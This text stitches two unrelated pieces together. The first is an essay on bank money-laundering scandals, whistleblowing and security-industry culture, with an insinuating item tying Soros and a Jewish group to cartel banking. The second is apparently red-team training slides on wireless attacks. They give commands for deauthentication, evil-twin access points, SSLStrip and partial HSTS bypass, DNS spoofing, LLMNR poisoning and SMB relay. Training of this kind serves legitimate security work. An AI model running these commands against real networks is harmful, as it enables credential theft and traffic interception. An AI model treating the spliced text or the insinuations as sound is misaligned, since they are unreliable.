Bank’s division in the British overseas territory of Gibraltar are at issue in the case, where the Spanish authorities assert they have been denied access to vital information. 23 In the decision to fine the bank, the violations were described as ‘very serious’ and Jyske Bank in Gibraltar was cited for failure to properly report, unwillingness to investigate certain transactions, and having inadequate control procedures. It is the first time a Danish bank has been fined for violations of another country’s money laundering rules. Unmasking the Vatican's bank Jan 25 2011 ROME, Italy — When Pope Benedict XVI makes lofty statements about the role ethics plays in the economy, he speaks from experience. Within the Vatican is the only branch of the Instituto per le Opere di Religione (IOR), otherwise known as the Vatican bank. Its ATM uses Latin. Only Vatican employees and religious institutions are allowed to open accounts in the bank — which you’d think would make it the most moral bank in the world. So why is its chief, economist Ettore Gotti Tedeschi, under investigation for money laundering? Italy's Central Bank flagged a 23 million euro transfer from an IOR account in an Italian bank, the Credito Artigiano, to two other accounts as lacking some information now compulsory under EU-mandated anti-money laundering laws. So prosecutors seized the money, froze the IOR account, and opened an investigation. This embarrassing “misunderstanding” — as the Vatican called it in a note published in its newspaper, l'Osservatore Romano — managed to turn the spotlight again on an institution that has been involved in many murky affairs. “The IOR is not a bank in the normal definition of the term,” wrote Vatican spokesman Federico Lombardi in a recent letter to the Financial Times. In fact, it doesn't lend money or act as a consultant to businesses. “It is more a fund deposit and transfer institution than a bank,” said Carlo Marroni, a Vatican expert with Il Sole 24 Ore, Italy's financial daily. IOR doesn't invest in the stock market, he thinks, “though they operate on the currency or bond market, or buy gold.” To trade in world markets it must go through other banks, such as the Credito Artigiano. It is hard to pin down the value of IOR’s holdings. “It doesn't publish a budget or an annual report,” Marroni said. “It is usually held that it has 5 billion euros in deposits, but I don't know how exact this figure is.” 24 Another often reported figure is that accounts turn a 13 percent yearly interest — tax- free, like the Vatican itself. But, “I think it's much less than that,” said Marroni. A leaked document from 1987 published in a recent book that made headlines here, “Vaticano Spa” — Spa being the acronym for publicly traded companies in Italian — showed that an IOR account yielded a 9 percent net interest. IOR's biggest asset, anyway, is its secrecy — all its accounts are identified only by number. This secrecy has been used for unholy goals. Some of them have been documented in full. The author of “Vaticano Spa,” Gianluigi Nuzzi, gained access to the archive left by the late Monsignor Renato Dardozzi, a key player at IOR from 1974 to the late 1990s. He used it to investigate the bank's involvement in money-laundering for Italian politicians and even mafia bosses. In a letter published by Nuzzi, the previous president of the Vatican Bank, Angelo Caloia, confessed worriedly to cardinal Angelo Sodano, John Paul II's “prime minister,” that IOR had served to “clean” bribes and that it held ciphered accounts for Catholic politicians, such as seven-time prime minister Giulio Andreotti. When Banco Ambrosiano head Roberto Calvi, know as “God's Banker,” died under Blackfriars Bridge in London in 1982, the Vatican Bank was then the main shareholder of the Banco. The American head of IOR at the time, Illinois-born cardinal Paul Casimir Marcinkus, a former body guard to Pope Paul VI, resorted to Vatican immunity to avoid prosecution by Italian judges. He died in 2006 and has often been blamed for the scandals that plagued the bank in the 1980s. UBS remains strongly committed to promoting the development and implementation of anti-money laundering (AML) standards for the financial industry as a whole, thereby contributing to wider efforts against money laundering. As an example of this, UBS was one of the driving forces behind the launch of the Wolfsberg Group, which issued its first global AML principles in 2000. UBS banker arrested over money laundering Brazilian authorities launch investigation into Swiss banks UBS and Credit Suisse and US insurer AIG Michael Herman and AP 25 A banker from UBS’ wealth management group was one of 19 people arrested by Brazilian police last night in connection with an anti-money laundering investigation that is also targeting the rival Swiss bank Credit Suisse and AIG, the US insurer. UBS confirmed that a Swiss employee in its wealth management and business banking division had been detained. It said that the bank was looking into the matter but declined to name the banker concerned or comment further. The arrest was made during an investigation into an alleged scheme that allowed Brazilian companies to avoid taxes by laundering money through Swiss banks and the US insurance group, a detective from Brazil’s federal police said. Clariden Leu, a private banking subsidiary of Credit Suisse, confirmed that one of its employees had also been detained. Credit Suisse decline to comment. In a statement, a federal judge named UBS, Credit Suisse and AIG as the financial institutions under investigation. AIG said that it was “not aware of any wrongdoing by any AIG employee”. OR Barclays, UBS, HSBC, Royal Bank of Scotland Involved in Money Laundering for Corrupt Nigerian Politicians October 13, 2010 Barclays, HSBC, UBS, others ‘fuel corruption in Nigeria’ Barclays, HSBC, NatWest, Royal Bank of Scotland and UBS – have been linked to money laundering scam over which some corrupt Nigerian politicians were indicted. A report entitled ‘International Thief’ from Global Witness, a Non- Governmental Organisation (NGO) that exposes the corrupt exploitation of natural resources and international trade systems, drives campaigns to end impunity, resource-linked conflict, and human rights and environmental abuses, accused the banks of fueling corruption in the world’s most-populous black nation. In a 40-page report published yesterday in www.globalwitness.org, Global Witness said that the five banks had taken millions of pounds between 1999 and 2005 from two former governors accused of corruption (Diepreye Alamieyeseigha of Bayelsa State and Joshua Dariye of Plateau 26 State), but had failed sufficiently to investigate the customers or the source of their funds. WHISTLE-BLOWERS AND TEAM-PLAYERS (see excerpts from my column on the subject below) Either one counts on a CONTEXT that supports “truth-telling” or one has to build a context in which one can find trusted colleagues and tell the truth in a small group and develop strategies based on that truth and commitment. PRIVACY IS NOT AN ISSUE FOR THE INDIVIDUAL. THAT FOCUS IS RED HERRING. SECURE COMMUNICATIONS AMONG TRUSTED COLLEAGUES IS THE ISSUE. (See: Tunisia, Iran, Egypt, Syria for recent examples.) In my last conversation with Gary Webb, I asked if his work on “Dark Alliance” was worth it. He said: Was it worth it? Yes. The CIA admitted it. I know it was the truth, and that’s what kept me going. I knew I was right. My eyes were wide open. I knew what I was getting into. The kids suffered. I had the paper behind me – I thought. Support came from all sorts of places. Especially African Americans. My wife was OK with it. She was used to me getting death threats. You get one chance in a lifetime to do the right thing. If you don’t do it, you surrender, and then they win. These are the worst people on earth that you’re dealing with – they lie, plant stories, discredit and worse for a living and have the resources and the experience. But somebody’s got to do it. Otherwise they win. When he killed himself, I thought of this late-night conversation. Who in fact won? Since 9/11 the Media Complex has hammered at the loss of under 3000 lives as a criminal act justifying a global response that included torture as a standard methodology, numerous wars and special forces activities, and the hoovering of American comms without warrants. The cartel wars have cost more than 35,000 lives and some of the banks named above are complicit in their murders. That you can read it here is an example of how free speech functions as a bleeder valve, so long as it does not lead to action. If it leads to action – e.g. MLK Junior, Malcolm X, Fred Hampton, etc. – it is not tolerated so easily. [Casa de Cambios, NAFTA, 22,000 Dead by Kathleen Miller - August 4th 2010 Law enforcement officials often suggest money laundering is too complex a process for the average person to understand. Factor in an understandable concern 27 that interfering, even from afar, in the business of big banking could always affect one’s own bottom-line, and you can see why reports of financial crimes do not receive the same attention, in the press, from the public or the government, as say, Lindsay Lohan’s sentencing for too many DUIs. What we need perhaps is a simpler view of how the US-Mexico banking relationship supports transnational crime and how that relationship is nourished and sustained by NAFTA. We also need to understand what part the wire transmitting operations know as “Casa de Cambios” (CDCs) play, and why, in the case of Wachovia’s laundering of millions in dirty dollars, these CDCs have been so critical to success. NAFTA, which created a unified trade bloc, also created a transnational financial bloc. During the last two decades, foreign institutions have been binging on a menu of mergers and acquisitions, acquiring significant interest and, in some cases, outright control of banks and other financial services providers in Mexico. Large, powerful US banks like Wachovia, Bank of America, American Express, Citigroup, Spain’s BBVA and London-based HSBC have been setting up shop in a nation burdened by a $39 billion per annum illegal drug industry, a history of corruption in both the private and public sectors, and ongoing civil unrest spawned by the quest for criminal control of Mexico’s drug trade. One important result is an opportunity for cash to move unimpeded from Mexico’s casa de cambios to their accounts in Mexican banks, and then to correspondent accounts in US banks. Drugs move from Mexico into the U.S., and drug money then moves south, through Mexico, and back to the U.S. or wherever the trafficker wants his ‘clean’ money to land.] February 7, 2009 (LPAC) In the mid-1990s, George Soros reportedly gave a $50 million personal loan to the Colombia financiers, the brothers Gilinski -- Jaime and Isaac Gilinski, to support their takeover of the Banco de Colombia, which had been privatized. Soros reportedly gained about a 9% interest in that bank. The Gilinskis were majority owners of Banco de Colombia for about three years, then sold it, but may have retained a minority interest. Soros may have invested more in the bank after the Galinskis moved out of control. On October 4, 2000, PBS interviewer Juan Williams spoke with Carlos Toro, a childhood friend of Colombian drug cartel leader Carlos Lehder. Toro was an informant for the Drug Enforcement Agency who helped put Lehder and others in jail, and then went into the Witness Protection Program. "MR. TORO: The Colombian banking industry and also Colombian banks that had subsidiaries in Miami and Panama working very closely with us. 28 "In those days...we had Colombian banks, Banco De Colombia, Banco [unintelligible], Banco Cafetero [ph], Eagle National Bank of Miami. We were allies. In those days--and maybe Steve knows how Eagle National Bank was a powerful aid for us between 1980 and 1984. "MR. WILLIAMS: But the cartel did not own the bank. It was simply allied with the cartel. "MR. TORO: The cartel didn't own the bank in front of FDIC, but we own the bank...." In 2003, the Lubavitcher organization at Harvard University held a ceremony honoring the same Jaime Gilinski of Cali, Colombia, because he gave the money to build their headquarters; Alan Dershowitz spoke at the same or another ceremony honoring Gilinski, saying Gilinski's action would work against anti-semitism at Harvard. The Lubavitcher introducing Gilinski called him "the leader of Jewish communities throughout Latin America." On March 31, 2005, the Federal Reserve issued a cease and desist order to the Eagle National Holding Co. Of Miami, Florida, owner of Eagle National Bank of Miami, banning transactions between the company and other financial organizations controlled by the holding company's chairman, Jaime Gilinski; the Galinski companies are controlled by a trust owned by the Gilinski family. WHAT IS THE IMPACT ON SERIOUS WELL-INTENTIONED SECURITY PROFESSIONALS? SEE: “Northward into the Night” in Mind Games One security professional noted after Def Con 2010, “there are a lot of neat stories out of DefCon/BH this year. But they all seemed to revolve around: - Attacks are sexy - The sky is continuing to fall I saw very few defensive technologies and techniques being presented. I don't recall reading about _anything_ defensive in the press. some stats about attacks, but that just paints a picture of how bad things are. GSM attacks, ATM attacks, social media attacks, etc all got many write-ups. Honestly, I can't recall reading anything about defense. I'm pretty frustrated with the state of the industry right now. Finding a single vuln will get you on national news. Selling the same defensive tech for 20 years makes you a ton 29 of money. Finding ways to actually deal with the fact that orgs are getting 0wned every day by ppl who are clearly targeting specific access is met with a test pattern. Another said the seemingly obvious: “The attack is sexy. Publicizing the attack is sexy and can perpetuate the FUD cycle as well. :( IMHO the focus is still on "stuff" to be placed on top of a flawed underlying foundation. Ergo we never can really get to 'acceptable' levels of infosec unless either we a) rip out the networks and start from scratch again, or b) change the competence of corporate/govt infosec folks to not tolerate mediocrity and empower them with the authority, resources, and support to do what it takes to "do it right." Otherwise we're just throwing good money after bad and perpetuating the status quo. It's why I no longer do pen tests or red teams, because folks don't really learn from our findings, they just want to check-the-box each year. So for me, why bother? I'm not making a tangible difference anymore, so if clients don't care, apart from maybe making a nice profit on a gig to offer recommendations that I know will be ignored, why should I? There are some pretty good papers discussing the economic incentives of keeping the state of infosec just as-is, because it's beneficial to vendors / consultants. You know, like how the pharmaceutical industry likes it when folks stay sick so they can sell more drugs. Nobody wants a "cure" -- the "vendors" don't, and the "patients" just chalk incidents up as the price of doing business in cyberspace and look for a palliative, rather than a curative. Another said: the problem is that to tell the truth, one has to 1) not be a vendor and 2) be willing to spill the beans on getting owned. There are very few people that are willing to get up and say "I work security, my job is to prevent intrusions, we get owned a lot (so I kind of fail at my job), sometimes it is really bad, and here is how we deal with it." Telling someone how you have to reverse engineer 0day attacks and unravel complex malware *as fast as possible* can be very sexy, and using real world examples to back it up really helps bring the message home. In airing the dirty laundry you reveal defensive techniques you have adapted that in many cases actually work at stopping the bad guys (or at least some of them for a while). But by speaking about these techniques publicly you are telling your enemies how to adapt, so you have yet another sexy aspect of defense you can discuss. Another: even when we do our jobs correctly, we're all still going to get owned. The real challenge is getting business leaders to accept that reality and allow us to redirect funding to programs that help companies deal with that reality. 30 And another: Attacks can be simple, silver bullet, and developed by one guy. This makes them easy to describe. Defenses are mulitlayered and have timelines of years and take teams of people to implement. defense is boring because we already know what to do. It is not a technology problem but a business problem. That is why one of my focuses is to make application security as cheap and consumable by the masses as possible. And another: After working mostly in red teaming and pen-testing, I took a job running security for a hedge fund for a few years. Working defense is distinctly more challenging than offense for unexpected reasons, and this is how I saw it as being different: 1. You are held back by people and processes, not technical challenges 2. Success is the result of thoroughness, not cleverness 3. Success is gradual and continual, not sporadic and elusive On offense (pen-testing or research), you find yourself thinking, "If only I could figure out how to do X". On defense, I found myself thinking mostly, "If only I could get so- and-so/everyone to do X". The solutions and improvements were largely nothing magical, but more like eating your vegetables. You know that you should do it, you just have to do it consistently and thoroughly over many years to obtain the benefits. And let's face it, eating your vegetables isn't exactly new or "sexy", but the results of doing so over many years may be. WHISTLEBLOWERS AND TEAM PLAYERS – revisited It was only after whistleblowers came out of the closet during the Great Economic Deflation that Time Magazine honored the practice of what team players call “ratting out your pals.” Conservative magazines like Time may give lip service to whistle blowing in the abstract but never champion whistle blowers until after they have sung. Instead they support the conditions and practices which make whistleblowers a threat in the first place. Whistleblowers are a reminder that ethics must be embodied in real flesh-and-blood human beings who put themselves on the line. Unless our deeper beliefs and values become flesh, they are words words words designed to make us feel better, rationalize misdeeds, and send distracting pangs of conscience straight into space. If you have never known a real flesh-and-blood whistleblower, see the film “The Insider” for a good portrait. The film confirms the conclusion of a Washington law firm specializing in whistleblower cases that lists motivations for whistle blowing – money, anger and resentment, revenge, justice – and eliminates all but one as sufficient to carry a whistleblower through the abuse they will face. Only acting from a pained conscience will sustain a whistleblower through the ordeal. During a recent speech for accountants about ethics, our Q&A moved quickly into the gray areas where accountants spend much of their time. Outsiders think accountants live in a black and white grid with simple answers but in fact they wade through a swamp of maybe this or maybe that. 31 Accountants are paid whistleblowers. Accountants are intended to be in the corporate culture but not of it, to use company books like mirrors to reveal the truth and consequences of choices. That’s why it is so difficult to do the job right. The tension comes from the fact that only an individual can have a conscience. An institution or organization can develop a culture that supports doing the right thing only when a leader pursues that objective with single-minded intensity. Left to themselves, all cultures are based on survival, not telling the truth. Cultures reward team players, not whistleblowers. In all my years as a teacher, priest, speaker and consultant, I have never seen a culture with a conscience. A cop friend reminds me that the first time a rookie cop sees his partners beat someone up in an alley or notices that money or cocaine doesn’t always get back to the station, he is closely watched. The word goes out quickly that "he's OK" or "watch out for him." Those that are OK move up. The cop is a practicing Roman Catholic and noted that recent scandals in the church are symptoms of the same dynamics. Institutions usually encourage disclosure only when it no longer matters. Operation Northwoods – the desire by the Joint Chiefs of Staff in 1962 to eliminate Fidel Castro by sinking refugee boats from Cuba, attacking our own base at Guantanamo, and planting terror bombs in American cities – was revealed by James Bamford in his book “Body of Secrets,” but nary a peep of outrage greeted revelation of the treasonous scheme. When the Church apologized to Galileo for torturing him four hundred years after the fact, it raised the question of how an institution had so lost its moorings that someone might think an absurd gesture like that had meaning. Why are so many of your heroes, I was asked, people who were assassinated? Why do names like Jesus, Lincoln, Gandhi, and Martin Luther King, Jr. keep showing up in your conversation? I think it’s because they embody what it takes to make a stand on behalf of the truth. They were all human but found the courage to blow the whistle on the cultures of death our institutions create. Their reward was getting whacked. Make no mistake, those who articulate or embody an upward call always inspire ambivalence. A disciple of Gandhi said that even those who loved him most were secretly relieved when he was murdered because for the moment the pressure was off. Jesus as icon is malleable in the hands of his institutional custodians whereas Jesus the Jew in the street was a real pain. In an era characterized by increasing secrecy by the government and the gradual but progressive surrender of our rights, it’s only a matter of time until some malevolent design ripens and bursts into the sunlight because some whistleblower just can’t stand it another minute. Some team player, their motives mixed but their conscience pricked, 32 will tell the truth. That’s the only way to have accountability when those with power and privilege remove transparency from the processes of government and business. When a mainstream Midwest woman asks how she will tell her grandchildren what America was like before the Great Change, how she will explain openness and disclosure, the Freedom of Information Act, guarantees in the Bill of Rights … then I know that we don’t need a weatherman to know the direction of the wind and see the firestorm on the horizon. Signs of the times grow on trees like low-hanging fruit, ripe for the picking. We are all team players, all of us some of the time, some of us all of the time, but we each have our own particular crossroads where we must decide if our words will become flesh. It is never easy and there are always consequences. Only integrity will see us through to the bitter end and none of us really know if we have it until it is tested. Again, what is the real state of the craft? “A lot of people - and particularly non-technical leaders - aren't willing to ask the next round of hard questions because they haven't come to the realization that what we've currently got is fundamentally broken. There are folks out there still trying to perfect AV and IDS mouse traps. I suggest that no "big data" solution is going to magically solve the problem of the "I have to see it first in order to detect it later" brokenness that represents the foundation of the vast majority of our controls. Why raise this as an important step? Because I wonder if one can initiate honest dialog about fundamental change without acknowledging the need for that dialog. (i.e. This shit doesn't work, now lets start the hard conversation about real change) Risk and accountability. our inability to accurately identify and convey technology risks kills us. What is the cost of Adobe Reader vulns when they are used to steal your CAD diagrams that result in knock-off parts being manufactured in China? That's an extreme example, but this conversation needs to occur AT EXECUTIVE LEVELS. if we don't start the dialog with honest assessments and realistic assumptions we have zero hope of moving forward. And I think that starts with "give up on x technologies - they are at the end of their lives." a lot of the "shocking" public realizations that have transpired the last 12-24 months (Zeus, wikileaks, stuxnet, the HBG fiasco) are the formalized and weaponized materializations of what we knew was possible all along. Software security problems in all sorts of goods and services? Check. Greater societal dependence on this technology? Check. 33 Greater complexity? Check. People selling 0day to god knows who, for money? Check. Professional development of digital weaponry? Check. Black market economy? Check. Industrial espionage? Check. (Although this is not exactly new...) Leaked information? Targeted information? Traded information? Check. Intelligence agencies outside of the USG that have growing capabilities? Check. Real world ramifications to all of the above? CHECK. and another: I guess it basically comes down to handling risk. You assume the worse risk scenarios possible, and proceed to develop trust models that usually don't fully mitigate all risks. You simply are mitigating your fear. It isn't "how much security do I need until I have no risk" it is "how much security do I need until I can live comfortably with the various risks I feel I am facing". REPRISE: ENDING WHERE WE BEGAN “The price one pays for pursuing any profession or calling is an intimate knowledge of its ugly side.” – James Baldwin "Whoever battles monsters should take care not to become a monster too, For if you stare long enough into the Abyss, the Abyss stares also into you." - Nietzsche, Beyond Good and Evil, chapter 4, no. 146 THE BIGGEST LESSON: THINGS ARE NOT WHAT THEY SEEM e.g. making jihadist web sites more robust. In Mind Games, read at least the introduction to “Zero Day Roswell.” security is more than implementation of software & hardware. it’s creation of a geopolitical structure than enables us to believe tomorrow will be like today. It is the amelioration of the anxieties of life, often using fictitious narratives as a way to say “there there” as we tuck in society for the night with a kiss. e.g. we recontextualize anomalies as known events, so they won’t be feared: a terror attack degrades the mind of society. an accident does not. assassins – always said to be an anomalous lone gunman. As Dulles, former CIA Director, told the Warren Commission, when asked about the plot to kill Lincoln and a simultaneous plot to kill Andrew Johnson – “that proves my point.” 34 In short, we live in a bat-shit crazy-making world. How can we use the word “security” as if we mean ... security? what is it, then? as wise guys say, it is what it is. try to find out what’s going on? That’s a full time job, and most people are distracted by work, family, amusements. Jonathan Moreno – author of Mind Wars. How hard it was to explore that subject, despite credentials. Steve Miles – torture including physicians which means experimentation. George Bush saying we used water boarding 3 times. Complete bullshit. Oops death and the Uzbeks. Oh yeah? You ever work with the Turks? Water boarding is a distraction. It’s nothing compared to what we do. What does it do to us? secondary trauma: going over the line: Multiple sources of accountability when a videotape shows interrogator as well as the interrogated That’s a metaphor for complexifying the situation with too much information, confusing information, multiplying sources of information, disinformation, and misinformation. It is not just the “stupid user” problem – it is the human condition. Sometimes tech people speak to security issues as if they are not subject to the human condition. But specialized knowledge can be a trap if it is not contextualized in a wider understanding. The cutting edge is no longer just information technology but cross-disciplinary knowledge, biology (markers: 2004 new president at MIT from biology, Gates saying he would be in biology today, DIYbio, biohacking) what can we do? Victor Frankl as an example. WE, not they. Understand our real role in the body politic. Work to moderate the worst threats to stability and ensure robust societies and economies in which we can be more fully human. Remember what the undercover cop in the film said: I don’t know if I am a cop pretending to be a criminal or a criminal pretending to be a cop. Until we look into the mirror and see that, we are in danger of believing in our beliefs. We need to take ourselves seriously but not too seriously, just seriously enough: be mindful and vigilant. And all shall be well, and all manner of thing shall be well.
pdf
net user author /domain Gabriel Ryan Security Engineer @ Gotham Digital Science Appsec | Penetration Testing | Red Team | Research @s0lst1c3 gryan@gdssecurity.com labs@gdssecurity.com Target Identification Within A Red Team Environment Target Identification Within A Red Team Environment Well executed wireless attacks require well executed recon Target Identification Within A Red Team Environment Typical wireless assessment: § Tightly defined scope § Client provides set of in-scope ESSIDs § You may be limited to certain access points Target Identification Within A Red Team Environment Red team engagements: § Scope loosely defined § Scenario based: demonstrated that a scenario is possible (i.e. CREST) § Open: completely compromise infrastructure of target organization § Loose rules dictating what you can and can’t do Target Identification Within A Red Team Environment Typical red team rules of engagement make wireless target identification very messy. Target Identification Within A Red Team Environment: Example Scenario Target Identification Within A Red Team Environment Evil Corp has requested that your firm perform a full scope red team assessment of their infrastructure over a five week period. § 57 offices across US and Europe § Most locations have one or more wireless networks § Evil Corp particularly interested in wireless as attack vector Target Identification Within A Red Team Environment Arrive at client site, perform site-survey Scoping A Wireless Assessment: Red Team Style Sequential BSSID Patterns Linguistic Inference The process of identifying access points with ESSIDs that are linguistically similar to words or phrases that the client uses to identify itself. OUI Prefixes Geographic Cross-referencing Evil Corp has 57 locations worldwide, If 1. We see the same ESSID’s appear at two Evil Corp locations 2. AND no other 3rd party is present at both of these locations as well We can conclude that the ESSID is used by Evil Corp. Before we continue... Attempt to decloak any wireless access points that have hidden ESSIDs: § Briefly deauthenticating one or more clients from each of the hidden networks § Our running airodump-ng session will then sniff the ESSID of the affected access point as the client reassociates root@localhost:~# aireplay-ng -b $BSSID -c $CLIENT_MAC wlan0 If successful, the ESSID of the affected access point will appear in our airodump-ng output. We have now identified six unique ESSIDs at the client site § Cross reference these ESSIDs with the results of similar site surveys Geographic Cross-referencing Drive to second Evil Corp branch 30 miles away, discover that none of the third-parties present at previous location are present Expanding scope by identifying sequential BSSIDs Attacking and Gaining Entry to WPA2- EAP Networks Attacking & gaining access to WPA2-EAP Networks: Rogue access point attacks: § Bread and butter of modern wireless penetration tests § Stealthy MITM attacks § Steal RADIUS credentials § Captive portals Wireless Theory: WPA2-EAP Networks Wireless Theory: EAP Most commonly used EAP implementations: § PEAP § TTLS Wireless Theory: EAP Logically: § Authentication occurs between supplicant and authentication server Wireless Theory: EAP Without secure tunnel, auth process sniffable. § Attacker sniffs challenge and response then derives password offline § Legacy implementations of EAP susceptible to this (i.e. EAP-MD5) Wireless Theory: EAP-PEAP Wireless Theory: EAP-PEAP Until tunnel is established, AP is essentially an open access point § Auth process over secure tunnel, but encrypted SSL/TLS packets sent over open wireless § WPA2 doesn’t kick in until auth is complete Wireless Theory: EAP-PEAP Open wireless networks vulnerable to Evil Twin attacks beacuse there is no way to verify the identity of the AP. EAP-PEAP networks vulnerable to Evil Twin attacks because there is no way to verify the identity of the authenticator. Wireless Theory: EAP-PEAP In theory, x509 cert issued by auth server used to verify identify: § Only true if invalid certs rejected § Many supplicants do not perform proper cert validation § Many others configured to accept invalid certs automatically § Even if supplicant configured correctly, onus is placed on user to reject invalid certs Wireless Theory: EAP-PEAP To compromise EAP-PEAP: § Attacker first performs evil twin against target AP § Client connects to rogue AP § If client accepts invalid cert, authenticates with attacker § Challenge/Response cracked offline Wireless Theory: EAP-PEAP To compromise EAP-PEAP: 1. Attacker first performs evil twin against target AP 2. Client connects to rogue AP 3. If client accepts invalid cert, authenticates with attacker 4. Challenge/Response cracked offline Lab Exercise: Evil Twin Attack Using Hostapd-WPE Wireless MITM Attacks Wireless MITM Attacks Wireless MITM Attack: § Uses evil twin or karma, attacker acts as functional access point § Does not degrade target network § Stealthy: attack does not generate additional traffic on network Wireless MITM Attacks Extending our Rogue AP to perform MITM: § Configured to behave like a wireless router § DHCP server to provide IPs to clients § DNS for name resolution § OS must support packet forwarding § Need means of redirecting packets from one interface to another Wireless MITM Attacks Our setup: § Dnsmasq → DHCP server § DHCP Option → Google as DNS server § OS → Linux… packet forwarding, iptables Lab 2: Configuring Linux As A Router Classic HTTPS Downgrade Attack Classic HTTPS Downgrade Attack We’ve turned our OS into a wireless router: § Let’s now focus on using it to steal creds Classic HTTPS Downgrade Attack SSLStrip: § Creates a log of HTTP traffic sent to/from victim § Logs credentials and other sensitive data § Breaks encryption of of any HTTPS traffic it encounters Classic HTTPS Downgrade Attack SSLStripping Attack: § First documented by Moxie Marlinspike § Attacker creates MITM between victim and gateway § Attacker acts as HTTP(S) proxy § When the victim makes a request to access a secure resource, such as a login page, the attacker receives the request and forwards it to the server. § From the server’s perspective, the request appears to have been made by the attacker Classic HTTPS Downgrade Attack SSLStripping Attack: § Encrypted tunnel is established between the attacker and the server (instead of between the victim and the server) § Attacker then modifies the server’s response, converting it from HTTPS to HTTP, and forwards it to the victim. § From the victim’s perspective, the server has just issued it an HTTP response [6]. Classic HTTPS Downgrade Attack SSLStripping Attack: 1. All subsequent requests from the victim and the server will occur over an unencrypted HTTP connection with the attacker 2. Attacker will forward these requests over an encrypted connection with the HTTP server. 3. Since the victim’s requests are sent to the attacker in plaintext, they can be viewed or modified by the attacker 4. Server believes that it has established a legitimate SSL connection with the victim, and the victim believes that the attacker is a trusted web server 5. No certificate errors will occur on the client or the server, rendering both affected parties unaware that the attack is taking place Classic HTTPS Downgrade Attack Modified bash script (iptables): iptables --table nat --append PREROUTING --protocol tcp --destination-port 80 --jump REDIRECT --to-port 10000 iptables --table nat --append PREROUTING --protocol tcp --destination-port 443 --jump REDIRECT --to-port 10000 Classic HTTPS Downgrade Attack Modified bash script (sslstrip): python -l 10000 -p -w ./sslstrip.log Lab 3: HTTPS Downgrade Downgrading Modern HTTPS Implementations With Partial HSTS Bypasses Partial HSTS Bypasses Repeat previous lab exercise against Bing. The attack should fail. Why? § HSTS Partial HSTS Bypasses What is HSTS? § Enhancement of HTTPS protocol § Designed to mitigate weaknesses exploited by tools such as SSLStrip Partial HSTS Bypasses Client makes HTTP(S) request to HSTS enabled site, receives the following response headers: Strict-Transport-Security: max-age=31536000 Tells browser to always load content from domain over HTTPS. Partial HSTS Bypasses § Modern browsers maintain HSTS list. § HSTS headers cause domain to be added to list. § User attempts to access site over HTTP → browser first checks HSTS list § If domain in HSTS list, 307 internal redirect to HTTPS Partial HSTS Bypasses Include subdomains attribute: Strict-Transport-Security: max-age=31536000; includeSubdomains *.evilcorp.com VS. evilcorp.com Partial HSTS Bypasses HSTS Preload list available to developers: § Domain treated as HSTS regardless of whether browser has received headers Partial HSTS Bypasses HSTS: effective mitigation unless the following are true: § Domain not added to preload list with the includeSubdomains attribute set § Server issues HSTS headers without the includeSubdomains attribute Partial HSTS Bypasses LeonardoNve: Partial HSTS bypass § Blackhat Asia 2014 - OFFENSIVE: Exploiting changes on DNS server configuration § Source code actually banned in Spain, gag order issued Partial HSTS Bypasses Partial HSTS bypass § Attacker first establishes MITM as with SSL Stripping attack § Attacker also proxies and modifies DNS traffic § www.evilcorp.com → wwww.evilcorp.com § Sidesteps HSTS, since browser has not received HSTS headers for wwww.evilcorp.com Partial HSTS Bypasses Partial HSTS Bypass is effective if: § Victim doesn’t notice modified subdomain § Cert pinning not used Partial HSTS Bypasses Choose a believable subdomain: § www.evilcorp.com → wwww.evilcorp.com VS. § mail.evilcorp.com → mailbox.evilcorp.com Partial HSTS Bypass: Modified Bash Script Modified bash script (iptables): iptables --table nat --append PREROUTING --protocol udp --destination-port 53 --jump REDIRECT --to-port 53 Partial HSTS Bypass: Modified Bash Script Modified bash script (use sslstrip2 and dns2proxy): python /opt/sslstrip2/sslstrip2.py -l 10000 -p -w ./sslstrip.log & python /opt/dns2proxy/dns2proxy.py –i $phy & Lab 4: Partial HSTS Bypasses LLMNR/NBT-NS Poisoning LLMNR/NBT-NS Poisoning NetBIOS name resolution: 1. Check local cache 2. Check LMHosts file 3. DNS lookup using local nameservers 4. LLMNR broadcast to entire subnet 5. NBT-NS broadcast to entire subnet LLMNR/NBT-NS Poisoning LLMNR/NBT-NS: § Different mechanisms, but same logical functionality § Best understood through example LLMNR/NBT-NS Poisoning Two Windows computers named Alice and Leeroy: 1. Alice wants to request file from Leeroy, but does not know Leeroy’s IP 2. Alice attempts to resolve Leeroy’s name locally and using DNS, but fails 3. Alice makes broadcast requests using LLMNR/NBT-NS 4. Every computer on Alice’s subnet receives request 5. Honor system: only Leeroy responds LLMNR/NBT-NS Poisoning No honor among thieves: 1. If Alice receives two responses, first one is considered valid 2. Creates race condition 3. Attacker waits for LLMNR/NBT-NS queries, responds to all of them 4. Victim sends traffic to the attacker LLMNR/NBT-NS Poisoning NetBIOS name resolution used for things such as: § Remote login § Accessing SMB shares Great way to quickly obtain password hashes. Lab 5: LLMNR/NBT-NS Poisoning Using Responder SMB Relay Attacks SMB Relay Attacks NTLM is a simple authentication protocol: § challenge/response mechanism (remember PEAP? ;) ) SMB Relay Attacks NTLM authentication process: 1. Client attempts to authenticate 2. Server issues challenge to client (string of characters) 3. Client encrypts the challenge using its password hash (uh oh) 4. Client sends encrypted challenge back to server as response 5. Server decrypts response using same password hash (oh no) 6. If decrypted response === challenge, then auth attempt succeeds SMB Relay Attacks SMB Relay Attack: 1. Attacker uses MITM or similar to intercept/view NTLM traffic 2. Attacker waits for client to authenticate using NTLM 3. Auth attempt relayed by the attacker to the target server 4. Target server sends challenge back to attacker, which is relayed to client 5. Client response is relayed back to target server 6. Attacker is authenticated with server SMB Relay Attacks Very powerful: § Sysadmins often use automated scripts for routine tasks § Scripts use NTLM for authentication § Prime candidates for LLMNR/NBT-NS poisoning and SMB relay attacks § Ironically, agentless NACs and virus scanners use NTLM as well SMB Relay Attacks Mitigation: SMB signing § Packets digitally signed to confirm their authenticity § Most modern Windows operating systems support SMB signing § Only Domain Controllers have SMB signing enabled by default Lab 6: SMB Relay Attack Using impacket and Empire Hostile-Portal Attacks Hostile-Portal Attacks Captive Portal § Used to restrict access to an open WiFi-network dnsmasq config file: original dhcp-range=10.0.0.80,10.0.0.254,6h dhcp-option=6,8.8.8.8 dhcp-option=3,10.0.0.1 #Gateway dhcp-authoritative log-queries dnsmasq config file: revised dhcp-range=10.0.0.80,10.0.0.254,6h dhcp-option=6,10.0.0.1 # set phy as nameserver dhcp-option=3,10.0.0.1 #Gateway dhcp-authoritative log-queries Use dnsspoof to resolve all queries to AP root@localhost:~# echo ’10.0.0.1’ > dnsspoof.conf root@localhost:~# dnsspoof -i wlan0 -f ./dnsspoof.conf First shortcoming: Devices may ignore DHCP options → nameserver specified manually instead Solution: redirect DNS traffic 